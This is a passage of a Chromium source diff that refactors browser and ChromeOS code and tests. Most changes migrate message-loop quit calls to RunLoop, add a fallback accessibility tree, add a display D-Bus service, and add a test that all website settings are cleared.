   // object, then blocks until the callback is executed.
   void FetchCannedFileSystems() {
+    base::RunLoop run_loop;
     canned_helper_->StartFetching(
         base::Bind(&BrowsingDataFileSystemHelperTest::CallbackStartFetching,
-                   base::Unretained(this)));
-    BlockUntilNotified();
+                   base::Unretained(this), &run_loop));
+    BlockUntilQuit(run_loop);
   }
 
   // Sets up kOrigin1 with a temporary file system, kOrigin2 with a persistent
diff --git a/chrome/browser/browsing_data/browsing_data_local_storage_helper_browsertest.cc b/chrome/browser/browsing_data/browsing_data_local_storage_helper_browsertest.cc
index a2ade37..60bb30e 100644
--- a/chrome/browser/browsing_data/browsing_data_local_storage_helper_browsertest.cc
+++ b/chrome/browser/browsing_data/browsing_data_local_storage_helper_browsertest.cc
@@ -17,6 +17,7 @@
 #include "base/macros.h"
 #include "base/memory/ref_counted.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/test/thread_test_helper.h"
 #include "base/threading/sequenced_worker_pool.h"
@@ -105,7 +106,7 @@
     for (size_t i = 0; i < arraysize(kTestHosts); ++i) {
       ASSERT_TRUE(test_hosts_found[i]) << kTestHosts[i];
     }
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/browsing_data/browsing_data_media_license_helper_unittest.cc b/chrome/browser/browsing_data/browsing_data_media_license_helper_unittest.cc
index 8f4782e..6f220ad 100644
--- a/chrome/browser/browsing_data/browsing_data_media_license_helper_unittest.cc
+++ b/chrome/browser/browsing_data/browsing_data_media_license_helper_unittest.cc
@@ -13,7 +13,6 @@
 #include "base/files/file_util.h"
 #include "base/macros.h"
 #include "base/memory/ptr_util.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/stl_util.h"
 #include "base/strings/utf_string_conversions.h"
@@ -75,7 +74,7 @@
   void Notify() {
     if (start_) {
       DCHECK(!already_quit_);
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       start_ = false;
     } else {
       DCHECK(!already_quit_);
diff --git a/chrome/browser/browsing_data/browsing_data_quota_helper_unittest.cc b/chrome/browser/browsing_data/browsing_data_quota_helper_unittest.cc
index dde2aa4..a215e56 100644
--- a/chrome/browser/browsing_data/browsing_data_quota_helper_unittest.cc
+++ b/chrome/browser/browsing_data/browsing_data_quota_helper_unittest.cc
@@ -11,10 +11,10 @@
 #include "base/files/scoped_temp_dir.h"
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
-#include "base/run_loop.h"
 #include "chrome/browser/browsing_data/browsing_data_quota_helper_impl.h"
 #include "content/public/test/test_browser_thread.h"
 #include "content/public/test/test_browser_thread_bundle.h"
+#include "content/public/test/test_utils.h"
 #include "storage/browser/quota/quota_manager.h"
 #include "storage/browser/quota/quota_manager_proxy.h"
 #include "storage/browser/test/mock_storage_client.h"
@@ -36,8 +36,7 @@
     EXPECT_TRUE(dir_.CreateUniqueTempDir());
     quota_manager_ = new storage::QuotaManager(
         false, dir_.GetPath(),
-        BrowserThread::GetTaskRunnerForThread(BrowserThread::IO).get(),
-        BrowserThread::GetTaskRunnerForThread(BrowserThread::DB).get(), nullptr,
+        BrowserThread::GetTaskRunnerForThread(BrowserThread::IO).get(), nullptr,
         storage::GetQuotaSettingsFunc());
     helper_ = new BrowsingDataQuotaHelperImpl(quota_manager_.get());
   }
@@ -46,7 +45,7 @@
     helper_ = nullptr;
     quota_manager_ = nullptr;
     quota_info_.clear();
-    base::RunLoop().RunUntilIdle();
+    content::RunAllBlockingPoolTasksUntilIdle();
   }
 
  protected:
@@ -124,7 +123,7 @@
 
 TEST_F(BrowsingDataQuotaHelperTest, Empty) {
   StartFetching();
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_TRUE(fetching_completed());
   EXPECT_TRUE(quota_info().empty());
 }
@@ -140,7 +139,7 @@
 
   RegisterClient(kOrigins, arraysize(kOrigins));
   StartFetching();
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_TRUE(fetching_completed());
 
   std::set<QuotaInfo> expected, actual;
@@ -169,7 +168,7 @@
 
   RegisterClient(kOrigins, arraysize(kOrigins));
   StartFetching();
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_TRUE(fetching_completed());
 
   std::set<QuotaInfo> expected, actual;
@@ -185,16 +184,16 @@
 
   SetPersistentHostQuota(kHost1, 1);
   SetPersistentHostQuota(kHost2, 10);
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
 
   RevokeHostQuota(kHost1);
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
 
   GetPersistentHostQuota(kHost1);
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(0, quota());
 
   GetPersistentHostQuota(kHost2);
-  base::RunLoop().RunUntilIdle();
+  content::RunAllBlockingPoolTasksUntilIdle();
   EXPECT_EQ(10, quota());
 }
diff --git a/chrome/browser/browsing_data/chrome_browsing_data_remover_delegate_unittest.cc b/chrome/browser/browsing_data/chrome_browsing_data_remover_delegate_unittest.cc
index d0fda5a..a50c70d 100644
--- a/chrome/browser/browsing_data/chrome_browsing_data_remover_delegate_unittest.cc
+++ b/chrome/browser/browsing_data/chrome_browsing_data_remover_delegate_unittest.cc
@@ -32,7 +32,10 @@
 #include "chrome/browser/password_manager/password_store_factory.h"
 #include "chrome/browser/permissions/permission_decision_auto_blocker.h"
 #include "chrome/browser/safe_browsing/safe_browsing_service.h"
+#include "chrome/browser/ssl/chrome_ssl_host_state_delegate.h"
+#include "chrome/browser/ssl/chrome_ssl_host_state_delegate_factory.h"
 #include "chrome/browser/storage/durable_storage_permission_context.h"
+#include "chrome/browser/subresource_filter/subresource_filter_profile_context_factory.h"
 #include "chrome/common/chrome_features.h"
 #include "chrome/common/pref_names.h"
 #include "chrome/test/base/testing_browser_process.h"
@@ -46,7 +49,11 @@
 #include "components/bookmarks/browser/bookmark_model.h"
 #include "components/bookmarks/test/bookmark_test_helpers.h"
 #include "components/browsing_data/core/browsing_data_utils.h"
+#include "components/content_settings/core/browser/content_settings_info.h"
+#include "components/content_settings/core/browser/content_settings_registry.h"
 #include "components/content_settings/core/browser/host_content_settings_map.h"
+#include "components/content_settings/core/browser/website_settings_info.h"
+#include "components/content_settings/core/browser/website_settings_registry.h"
 #include "components/content_settings/core/common/content_settings.h"
 #include "components/content_settings/core/common/content_settings_pattern.h"
 #include "components/domain_reliability/clear_mode.h"
@@ -592,6 +599,21 @@
   DISALLOW_COPY_AND_ASSIGN(RemovePasswordsTester);
 };
 
+// Implementation of the TestingProfile that has the neccessary services for
+// BrowsingDataRemover.
+class BrowsingDataTestingProfile : public TestingProfile {
+ public:
+  BrowsingDataTestingProfile() {}
+  ~BrowsingDataTestingProfile() override {}
+
+  content::SSLHostStateDelegate* GetSSLHostStateDelegate() override {
+    return ChromeSSLHostStateDelegateFactory::GetForProfile(this);
+  }
+
+ private:
+  DISALLOW_COPY_AND_ASSIGN(BrowsingDataTestingProfile);
+};
+
 class RemovePermissionPromptCountsTest {
  public:
   explicit RemovePermissionPromptCountsTest(TestingProfile* profile)
@@ -854,7 +876,7 @@
 
  private:
   void OnPersonalDataChanged() override {
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   autofill::PersonalDataManager* personal_data_manager_;
@@ -939,12 +961,27 @@
   net::ReportingService* old_service_;
 };
 
+// Implementation of the TestingProfile that provides an SSLHostStateDelegate
+// which is required for the tests.
+class BrowsingDataRemoverTestingProfile : public TestingProfile {
+ public:
+  BrowsingDataRemoverTestingProfile() {}
+  ~BrowsingDataRemoverTestingProfile() override {}
+
+  content::SSLHostStateDelegate* GetSSLHostStateDelegate() override {
+    return ChromeSSLHostStateDelegateFactory::GetForProfile(this);
+  }
+
+ private:
+  DISALLOW_COPY_AND_ASSIGN(BrowsingDataRemoverTestingProfile);
+};
+
 // Test Class -----------------------------------------------------------------
 
 class ChromeBrowsingDataRemoverDelegateTest : public testing::Test {
  public:
   ChromeBrowsingDataRemoverDelegateTest()
-      : profile_(new TestingProfile()),
+      : profile_(new BrowsingDataRemoverTestingProfile()),
         clear_domain_reliability_tester_(profile_.get()) {
     remover_ = content::BrowserContext::GetBrowsingDataRemover(profile_.get());
 
@@ -2300,3 +2337,100 @@
   EXPECT_TRUE(
       ProbablySameFilters(builder->BuildGeneralFilter(), origin_filter));
 }
+
+// Test that all WebsiteSettings are getting deleted by creating a
+// value for each of them and removing data.
+TEST_F(ChromeBrowsingDataRemoverDelegateTest, AllTypesAreGettingDeleted) {
+  TestingProfile* profile = GetProfile();
+  ASSERT_TRUE(profile->CreateHistoryService(true, false));
+  ASSERT_TRUE(SubresourceFilterProfileContextFactory::GetForProfile(profile));
+
+  auto* map = HostContentSettingsMapFactory::GetForProfile(profile);
+  auto* registry = content_settings::WebsiteSettingsRegistry::GetInstance();
+  auto* content_setting_registry =
+      content_settings::ContentSettingsRegistry::GetInstance();
+
+  GURL url("https://example.com");
+
+  // Whitelist of types that don't have to be deletable.
+  static const ContentSettingsType whitelisted_types[] = {
+      // Doesn't allow any values.
+      CONTENT_SETTINGS_TYPE_PROTOCOL_HANDLERS,
+      // Doesn't allow any values.
+      CONTENT_SETTINGS_TYPE_MIXEDSCRIPT,
+      // Only policy provider sets exceptions for this type.
+      CONTENT_SETTINGS_TYPE_AUTO_SELECT_CERTIFICATE,
+
+      // TODO(710873): Make sure that these get fixed:
+      // No one ever seems to write to this content setting? Can it be removed?
+      CONTENT_SETTINGS_TYPE_CLIENT_HINTS,
+      // Not deleted but should be deleted with history?
+      CONTENT_SETTINGS_TYPE_IMPORTANT_SITE_INFO,
+      // Deprecated and should be removed after M60.
+      CONTENT_SETTINGS_TYPE_PROMPT_NO_DECISION_COUNT,
+      // Is cleared in PasswordProtectionService::CleanUpExpiredVerdicts()
+      // but not when CBD is executed.
+      CONTENT_SETTINGS_TYPE_PASSWORD_PROTECTION,
+  };
+
+  // Set a value for every WebsiteSetting.
+  for (const content_settings::WebsiteSettingsInfo* info : *registry) {
+    if (base::ContainsValue(whitelisted_types, info->type()))
+      continue;
+    base::Value some_value;
+    auto* content_setting = content_setting_registry->Get(info->type());
+    if (content_setting) {
+      // Content Settings only allow integers.
+      if (content_setting->IsSettingValid(CONTENT_SETTING_ALLOW)) {
+        some_value = base::Value(CONTENT_SETTING_ALLOW);
+      } else {
+        ASSERT_TRUE(content_setting->IsSettingValid(CONTENT_SETTING_ASK));
+        some_value = base::Value(CONTENT_SETTING_ASK);
+      }
+      ASSERT_TRUE(content_setting->IsDefaultSettingValid(CONTENT_SETTING_BLOCK))
+          << info->name();
+      // Set default to BLOCK to be able to differentiate an exception from the
+      // default.
+      map->SetDefaultContentSetting(info->type(), CONTENT_SETTING_BLOCK);
+    } else {
+      // Other website settings only allow dictionaries.
+      base::DictionaryValue dict;
+      dict.SetIntegerWithoutPathExpansion("foo", 42);
+      some_value = std::move(dict);
+    }
+    // Create an exception.
+    map->SetWebsiteSettingDefaultScope(
+        url, url, info->type(), std::string(),
+        base::MakeUnique<base::Value>(some_value));
+
+    // Check that the exception was created.
+    std::unique_ptr<base::Value> value =
+        map->GetWebsiteSetting(url, url, info->type(), std::string(), nullptr);
+    EXPECT_TRUE(value) << "Not created: " << info->name();
+    if (value)
+      EXPECT_EQ(some_value, *value) << "Not created: " << info->name();
+  }
+
+  // Delete all data types that trigger website setting deletions.
+  int mask = ChromeBrowsingDataRemoverDelegate::DATA_TYPE_HISTORY |
+             ChromeBrowsingDataRemoverDelegate::DATA_TYPE_SITE_DATA |
+             ChromeBrowsingDataRemoverDelegate::DATA_TYPE_CONTENT_SETTINGS;
+
+  BlockUntilBrowsingDataRemoved(base::Time(), base::Time::Max(), mask, false);
+
+  // All settings should be deleted now.
+  for (const content_settings::WebsiteSettingsInfo* info : *registry) {
+    if (base::ContainsValue(whitelisted_types, info->type()))
+      continue;
+    std::unique_ptr<base::Value> value = map->GetWebsiteSetting(
+        url, GURL(), info->type(), std::string(), nullptr);
+
+    if (value && value->is_int()) {
+      EXPECT_EQ(CONTENT_SETTING_BLOCK, value->GetInt())
+          << "Not deleted: " << info->name() << " value: " << *value;
+    } else {
+      EXPECT_FALSE(value) << "Not deleted: " << info->name()
+                          << " value: " << *value;
+    }
+  }
+}
diff --git a/chrome/browser/captive_portal/captive_portal_browsertest.cc b/chrome/browser/captive_portal/captive_portal_browsertest.cc
index 37e4924c..4396ada7 100644
--- a/chrome/browser/captive_portal/captive_portal_browsertest.cc
+++ b/chrome/browser/captive_portal/captive_portal_browsertest.cc
@@ -17,6 +17,7 @@
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
 #include "base/path_service.h"
+#include "base/run_loop.h"
 #include "base/scoped_observer.h"
 #include "base/sequence_checker.h"
 #include "base/strings/utf_string_conversions.h"
@@ -646,7 +647,7 @@
   if (waiting_for_navigation_ &&
       num_navigations_to_wait_for_ == num_navigations_) {
     waiting_for_navigation_ = false;
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
@@ -736,7 +737,7 @@
       tabs_needing_navigation_.size() ==
           tabs_navigated_to_final_destination_.size()) {
     waiting_for_navigation_ = false;
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
@@ -830,7 +831,7 @@
   if (waiting_for_result_ &&
       num_results_to_wait_for_ == num_results_received_) {
     waiting_for_result_ = false;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
diff --git a/chrome/browser/chrome_browser_main.cc b/chrome/browser/chrome_browser_main.cc
index 3646ca1..ea5d04c7 100644
--- a/chrome/browser/chrome_browser_main.cc
+++ b/chrome/browser/chrome_browser_main.cc
@@ -1002,10 +1002,18 @@
   first_run::IsChromeFirstRun();
 #endif  // !defined(OS_ANDROID)
 
+  // The initial read is done synchronously, the TaskPriority is thus only used
+  // for flushes to disks and BACKGROUND is therefore appropriate. Priority of
+  // remaining BACKGROUND+BLOCK_SHUTDOWN tasks is bumped by the TaskScheduler on
+  // shutdown. However, some shutdown use cases happen without
+  // TaskScheduler::Shutdown() (e.g. ChromeRestartRequest::Start() and
+  // BrowserProcessImpl::EndSession()) and we must thus unfortunately make this
+  // USER_VISIBLE until we solve https://crbug.com/747495 to allow bumping
+  // priority of a sequence on demand.
   scoped_refptr<base::SequencedTaskRunner> local_state_task_runner =
-      JsonPrefStore::GetTaskRunnerForFile(
-          base::FilePath(chrome::kLocalStorePoolName),
-          BrowserThread::GetBlockingPool());
+      base::CreateSequencedTaskRunnerWithTraits(
+          {base::MayBlock(), base::TaskPriority::USER_VISIBLE,
+           base::TaskShutdownBehavior::BLOCK_SHUTDOWN});
 
   {
     TRACE_EVENT0("startup",
@@ -1231,10 +1239,14 @@
   SetupFieldTrials();
 
   // ChromeOS needs ResourceBundle::InitSharedInstance to be called before this.
-  // This also instantiates the IOThread which requests the metrics service and
-  // must be after |SetupMetrics()|.
   browser_process_->PreCreateThreads();
 
+  // This must occur in PreCreateThreads() because it initializes global state
+  // which is then read by all threads without synchronization. It must be after
+  // browser_process_->PreCreateThreads() as that instantiates the IOThread
+  // which is used in SetupMetrics().
+  SetupMetrics();
+
   return content::RESULT_CODE_NORMAL_EXIT;
 }
 
@@ -1426,10 +1438,6 @@
   SCOPED_UMA_HISTOGRAM_LONG_TIMER("Startup.PreMainMessageLoopRunImplLongTime");
   const base::TimeTicks start_time_step1 = base::TimeTicks::Now();
 
-  // This must occur at PreMainMessageLoopRun because |SetupMetrics()| uses the
-  // blocking pool, which is disabled until the CreateThreads phase of startup.
-  SetupMetrics();
-
   // Can't be in SetupFieldTrials() because it needs a task runner.
   MemoryAblationExperiment::MaybeStart(
       BrowserThread::GetTaskRunnerForThread(BrowserThread::IO));
diff --git a/chrome/browser/chromeos/OWNERS b/chrome/browser/chromeos/OWNERS
index dd937ef..82889a7 100644
--- a/chrome/browser/chromeos/OWNERS
+++ b/chrome/browser/chromeos/OWNERS
@@ -4,9 +4,8 @@
 
 achuith@chromium.org
 derat@chromium.org
-nkostylev@chromium.org
+jamescook@chromium.org
 oshima@chromium.org
 satorux@chromium.org
 stevenjb@chromium.org
 xiyuan@chromium.org
-zelidrag@chromium.org
diff --git a/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.cc b/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.cc
index a72b141..bad305a 100644
--- a/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.cc
+++ b/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.cc
@@ -142,7 +142,8 @@
     : profile_(Profile::FromBrowserContext(browser_context)),
       arc_bridge_service_(arc_bridge_service),
       binding_(this),
-      current_task_id_(kNoTaskId) {
+      current_task_id_(kNoTaskId),
+      fallback_tree_(new AXTreeSourceArc(this)) {
   arc_bridge_service_->accessibility_helper()->AddObserver(this);
 
   // Null on testing.
@@ -212,31 +213,41 @@
     if (!node->string_properties)
       return;
 
-    auto package_it = node->string_properties->find(
+    auto package_entry = node->string_properties->find(
         arc::mojom::AccessibilityStringProperty::PACKAGE_NAME);
-    if (package_it == node->string_properties->end())
+    if (package_entry == node->string_properties->end())
       return;
 
-    auto task_ids_it = package_name_to_task_ids_.find(package_it->second);
-    if (task_ids_it == package_name_to_task_ids_.end())
-      return;
-
-    const auto& task_ids = task_ids_it->second;
-
-    // Reject updates to non-current task ids. We can do this currently
-    // because all events include the entire tree.
-    if (task_ids.count(current_task_id_) == 0)
-      return;
-
-    auto tree_it = package_name_to_tree_.find(package_it->second);
+    auto task_ids_it = package_name_to_task_ids_.find(package_entry->second);
     AXTreeSourceArc* tree_source;
-    if (tree_it == package_name_to_tree_.end()) {
-      package_name_to_tree_[package_it->second].reset(
-          new AXTreeSourceArc(this));
-      tree_source = package_name_to_tree_[package_it->second].get();
+    if (task_ids_it == package_name_to_task_ids_.end()) {
+      // It's possible for there to have never been a package mapping for this
+      // task id due to underlying bugs. See crbug.com/745978.
+      for (auto entry : package_name_to_task_ids_) {
+        if (entry.second.count(current_task_id_) > 0)
+          return;
+      }
+      DLOG(ERROR) << "Package did not trigger OnTaskCreated "
+                  << package_entry->second;
+      tree_source = fallback_tree_.get();
     } else {
-      tree_source = tree_it->second.get();
+      const auto& task_ids = task_ids_it->second;
+
+      // Reject updates to non-current task ids. We can do this currently
+      // because all events include the entire tree.
+      if (task_ids.count(current_task_id_) == 0)
+        return;
+
+      auto tree_it = package_name_to_tree_.find(package_entry->second);
+      if (tree_it == package_name_to_tree_.end()) {
+        package_name_to_tree_[package_entry->second].reset(
+            new AXTreeSourceArc(this));
+        tree_source = package_name_to_tree_[package_entry->second].get();
+      } else {
+        tree_source = tree_it->second.get();
+      }
     }
+
     tree_source->NotifyAccessibilityEvent(event_data.get());
     return;
   }
@@ -293,8 +304,10 @@
     }
   }
 
-  if (!found_entry)
+  if (!found_entry) {
+    fallback_tree_->Focus(gained_active);
     return;
+  }
 
   auto it = package_name_to_tree_.find(found_entry->first);
   if (it != package_name_to_tree_.end())
diff --git a/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.h b/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.h
index fdf036b..eea4342f 100644
--- a/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.h
+++ b/chrome/browser/chromeos/arc/accessibility/arc_accessibility_helper_bridge.h
@@ -94,6 +94,7 @@
   std::map<std::string, std::unique_ptr<AXTreeSourceArc>> package_name_to_tree_;
   std::map<std::string, std::set<int32_t>> package_name_to_task_ids_;
   int32_t current_task_id_;
+  std::unique_ptr<AXTreeSourceArc> fallback_tree_;
 
   DISALLOW_COPY_AND_ASSIGN(ArcAccessibilityHelperBridge);
 };
diff --git a/chrome/browser/chromeos/arc/accessibility/ax_tree_source_arc.cc b/chrome/browser/chromeos/arc/accessibility/ax_tree_source_arc.cc
index a5a4282..8c974e9 100644
--- a/chrome/browser/chromeos/arc/accessibility/ax_tree_source_arc.cc
+++ b/chrome/browser/chromeos/arc/accessibility/ax_tree_source_arc.cc
@@ -328,6 +328,8 @@
   data->tree_id = tree_id();
   if (focused_node_id_ >= 0)
     data->focus_id = focused_node_id_;
+  else if (root_id_ >= 0)
+    data->focus_id = root_id_;
   return true;
 }
 
diff --git a/chrome/browser/chromeos/chrome_browser_main_chromeos.cc b/chrome/browser/chromeos/chrome_browser_main_chromeos.cc
index 4507e7c9..5efb72a 100644
--- a/chrome/browser/chromeos/chrome_browser_main_chromeos.cc
+++ b/chrome/browser/chromeos/chrome_browser_main_chromeos.cc
@@ -283,23 +283,37 @@
         DBusThreadManager::Get()->GetPowerManagerClient());
 
     CrosDBusService::ServiceProviderList service_providers;
+    CrosDBusService::ServiceProviderList display_service_providers;
+
     if (GetAshConfig() == ash::Config::CLASSIC) {
-      // TODO(crbug.com/629707): revisit this with mustash dbus work.
+      // TODO(lannm): This will eventually be served by mus-ws.
+
+      // TODO(lannm): Remove this provider once all callers are using
+      // |display_service_| instead: http://crbug.com/644319
       service_providers.push_back(base::MakeUnique<DisplayPowerServiceProvider>(
+          kLibCrosServiceInterface,
           base::MakeUnique<ChromeDisplayPowerServiceProviderDelegate>()));
+
+      display_service_providers.push_back(
+          base::MakeUnique<DisplayPowerServiceProvider>(
+              kDisplayServiceInterface,
+              base::MakeUnique<ChromeDisplayPowerServiceProviderDelegate>()));
     }
     // TODO(teravest): Remove this provider once all callers are using
     // |liveness_service_| instead: http://crbug.com/644322
     service_providers.push_back(
         base::MakeUnique<LivenessServiceProvider>(kLibCrosServiceInterface));
     service_providers.push_back(base::MakeUnique<ScreenLockServiceProvider>());
-    std::unique_ptr<ChromeConsoleServiceProviderDelegate>
-        console_service_provider_delegate =
-            base::MakeUnique<ChromeConsoleServiceProviderDelegate>();
-    console_service_provider_delegate_ =
-        console_service_provider_delegate->AsWeakPtr();
+
+    // TODO(lannm): Remove this provider once all callers are using
+    // |display_service_| instead: http://crbug.com/644319
     service_providers.push_back(base::MakeUnique<ConsoleServiceProvider>(
-        std::move(console_service_provider_delegate)));
+        kLibCrosServiceInterface, &console_service_provider_delegate_));
+
+    display_service_providers.push_back(
+        base::MakeUnique<ConsoleServiceProvider>(
+            kDisplayServiceInterface, &console_service_provider_delegate_));
+
     // TODO(teravest): Remove this provider once all callers are using
     // |kiosk_info_service_| instead: http://crbug.com/703229
     service_providers.push_back(base::MakeUnique<KioskInfoService>(
@@ -308,6 +322,10 @@
         kLibCrosServiceName, dbus::ObjectPath(kLibCrosServicePath),
         std::move(service_providers));
 
+    display_service_ = CrosDBusService::Create(
+        kDisplayServiceName, dbus::ObjectPath(kDisplayServicePath),
+        std::move(display_service_providers));
+
     proxy_resolution_service_ = CrosDBusService::Create(
         kNetworkProxyServiceName, dbus::ObjectPath(kNetworkProxyServicePath),
         CrosDBusService::CreateServiceProviderList(
@@ -377,6 +395,7 @@
     CertLoader::Shutdown();
     TPMTokenLoader::Shutdown();
     cros_dbus_service_.reset();
+    display_service_.reset();
     proxy_resolution_service_.reset();
     kiosk_info_service_.reset();
     liveness_service_.reset();
@@ -391,8 +410,7 @@
 
   void ServiceManagerConnectionStarted(
       content::ServiceManagerConnection* connection) {
-    if (console_service_provider_delegate_)
-      console_service_provider_delegate_->Connect(connection->GetConnector());
+    console_service_provider_delegate_.Connect(connection->GetConnector());
   }
 
  private:
@@ -403,14 +421,14 @@
   // split between different processes: http://crbug.com/692246
   std::unique_ptr<CrosDBusService> cros_dbus_service_;
 
+  std::unique_ptr<CrosDBusService> display_service_;
   std::unique_ptr<CrosDBusService> proxy_resolution_service_;
   std::unique_ptr<CrosDBusService> kiosk_info_service_;
   std::unique_ptr<CrosDBusService> liveness_service_;
 
   std::unique_ptr<NetworkConnectDelegateChromeOS> network_connect_delegate_;
 
-  base::WeakPtr<ChromeConsoleServiceProviderDelegate>
-      console_service_provider_delegate_;
+  ChromeConsoleServiceProviderDelegate console_service_provider_delegate_;
 
   DISALLOW_COPY_AND_ASSIGN(DBusServices);
 };
diff --git a/chrome/browser/chromeos/customization/customization_wallpaper_downloader_browsertest.cc b/chrome/browser/chromeos/customization/customization_wallpaper_downloader_browsertest.cc
index ffa7faab..5820b41 100644
--- a/chrome/browser/chromeos/customization/customization_wallpaper_downloader_browsertest.cc
+++ b/chrome/browser/chromeos/customization/customization_wallpaper_downloader_browsertest.cc
@@ -11,7 +11,6 @@
 #include "base/command_line.h"
 #include "base/files/scoped_temp_dir.h"
 #include "base/macros.h"
-#include "base/message_loop/message_loop.h"
 #include "base/run_loop.h"
 #include "base/time/time.h"
 #include "chrome/browser/chromeos/customization/customization_document.h"
@@ -72,7 +71,7 @@
 
   void OnWallpaperAnimationFinished(const AccountId&) override {
     finished_ = true;
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
   void WaitForWallpaperAnimationFinished() {
diff --git a/chrome/browser/chromeos/dbus/chrome_console_service_provider_delegate.h b/chrome/browser/chromeos/dbus/chrome_console_service_provider_delegate.h
index 10fdb7c..464b7725 100644
--- a/chrome/browser/chromeos/dbus/chrome_console_service_provider_delegate.h
+++ b/chrome/browser/chromeos/dbus/chrome_console_service_provider_delegate.h
@@ -7,7 +7,6 @@
 
 #include "ash/public/interfaces/ash_display_controller.mojom.h"
 #include "base/macros.h"
-#include "base/memory/weak_ptr.h"
 #include "chromeos/dbus/services/console_service_provider.h"
 
 namespace service_manager {
@@ -18,8 +17,7 @@
 
 // Chrome's implementation of ConsoleServiceProvider::Delegate
 class ChromeConsoleServiceProviderDelegate
-    : public ConsoleServiceProvider::Delegate,
-      public base::SupportsWeakPtr<ChromeConsoleServiceProviderDelegate> {
+    : public ConsoleServiceProvider::Delegate {
  public:
   ChromeConsoleServiceProviderDelegate();
   ~ChromeConsoleServiceProviderDelegate() override;
diff --git a/chrome/browser/chromeos/file_manager/file_manager_browsertest_base.cc b/chrome/browser/chromeos/file_manager/file_manager_browsertest_base.cc
index 45667d7..df8d6d3 100644
--- a/chrome/browser/chromeos/file_manager/file_manager_browsertest_base.cc
+++ b/chrome/browser/chromeos/file_manager/file_manager_browsertest_base.cc
@@ -247,7 +247,7 @@
           true;
     }
     messages_.push_back(entry);
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/chromeos/input_method/input_method_engine_browsertests.cc b/chrome/browser/chromeos/input_method/input_method_engine_browsertests.cc
index 182a7cd8..37740abc 100644
--- a/chrome/browser/chromeos/input_method/input_method_engine_browsertests.cc
+++ b/chrome/browser/chromeos/input_method/input_method_engine_browsertests.cc
@@ -7,6 +7,7 @@
 #include "base/bind_helpers.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
 #include "chrome/browser/extensions/extension_browsertest.h"
@@ -126,7 +127,7 @@
 
   void Run(bool consumed) {
     if (consumed == expected_argument_) {
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       is_called_ = true;
     }
   }
diff --git a/chrome/browser/chromeos/input_method/textinput_test_helper.cc b/chrome/browser/chromeos/input_method/textinput_test_helper.cc
index 82d4a58..9ad151cc 100644
--- a/chrome/browser/chromeos/input_method/textinput_test_helper.cc
+++ b/chrome/browser/chromeos/input_method/textinput_test_helper.cc
@@ -5,6 +5,7 @@
 #include "chrome/browser/chromeos/input_method/textinput_test_helper.h"
 #include "ash/shell.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/string_number_conversions.h"
 #include "base/strings/string_split.h"
 #include "base/strings/string_util.h"
@@ -83,13 +84,13 @@
 void TextInputTestHelper::OnFocus() {
   focus_state_ = true;
   if (waiting_type_ == WAIT_ON_FOCUS)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TextInputTestHelper::OnBlur() {
   focus_state_ = false;
   if (waiting_type_ == WAIT_ON_BLUR)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TextInputTestHelper::OnCaretBoundsChanged(
@@ -103,7 +104,7 @@
       return;
   }
   if (waiting_type_ == WAIT_ON_CARET_BOUNDS_CHANGED)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TextInputTestHelper::OnTextInputStateChanged(
@@ -111,7 +112,7 @@
   latest_text_input_type_ =
       client ? client->GetTextInputType() : ui::TEXT_INPUT_TYPE_NONE;
   if (waiting_type_ == WAIT_ON_TEXT_INPUT_TYPE_CHANGED)
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TextInputTestHelper::WaitForTextInputStateChanged(
diff --git a/chrome/browser/chromeos/login/bluetooth_host_pairing_browsertest.cc b/chrome/browser/chromeos/login/bluetooth_host_pairing_browsertest.cc
index 3f9951e..564b72c 100644
